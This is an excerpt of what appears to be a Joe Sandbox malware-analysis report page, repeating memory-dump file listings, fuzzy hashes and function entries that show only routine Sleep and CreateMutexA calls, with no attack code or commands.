Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ee0cef8a827b12827e0c4a2708cf3c14bb53d78968f605a030639b0ef64e3bc9
Instruction ID: 8f832ce50b7004e05194f5f069319ee56762eeceb1eb5e1481d365156a6664e5
Opcode Fuzzy Hash: ee0cef8a827b12827e0c4a2708cf3c14bb53d78968f605a030639b0ef64e3bc9
Instruction Fuzzy Hash: 04312831700301DBFB19DBBCDC8DBADBBA2AB96320F244619E1949B3D4D77A8980C755

Function 0100A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1149f5cfe99e247bb85803b081480f8562312a255aa028030189065f30246b25
Instruction ID: e9565619e0f03160a7aee7376d6671ea6c0cc5362e26273a8229b7c9892c9286
Opcode Fuzzy Hash: 1149f5cfe99e247bb85803b081480f8562312a255aa028030189065f30246b25
Instruction Fuzzy Hash: 7C312B31B00305DBFB19ABBCD88CBADBB66EBD5320F244618D1949B2D4DB7585808765

Function 0100A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 04df39be99a3ace3c2517f38410c31582c2e76593ab1e2c33038f16617a631d8
Instruction ID: 10c94f77c0d0249d2faeb78932327ce30a55a232c8e22249013d52bb2f55f178
Opcode Fuzzy Hash: 04df39be99a3ace3c2517f38410c31582c2e76593ab1e2c33038f16617a631d8
Instruction Fuzzy Hash: E1312A31700305DBFB19DB78DC88BADBB62EBC9324F244618D1949B2D4C77A8980C755

Function 0100A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 353a4376fdf37992c271a3d17a86da684bc11cd3de7187e25da5afb95f3f285d
Instruction ID: 27a3add33b0e18322e49c0af1efa9cd796ab62523e056060a8f7c6b18ce2f715
Opcode Fuzzy Hash: 353a4376fdf37992c271a3d17a86da684bc11cd3de7187e25da5afb95f3f285d
Instruction Fuzzy Hash: 3B312731700305DBFB19DB7CDC88BAEBBB2ABC5320F248618D1989B2D4C7798580C755

Function 01009ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 181c9965c5f23a9050812c1c158156f104fe965466e1bf58a6b45436fc3a091d
Instruction ID: 43f4b4069432a78efe63843dccaf479fbe397591e09683520d58a253c3e057aa
Opcode Fuzzy Hash: 181c9965c5f23a9050812c1c158156f104fe965466e1bf58a6b45436fc3a091d
Instruction Fuzzy Hash: D0214531704201DBFB29ABACD88876DFBA2EBC1320F244619E5988B2D4C77A8580C755

Function 0100A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
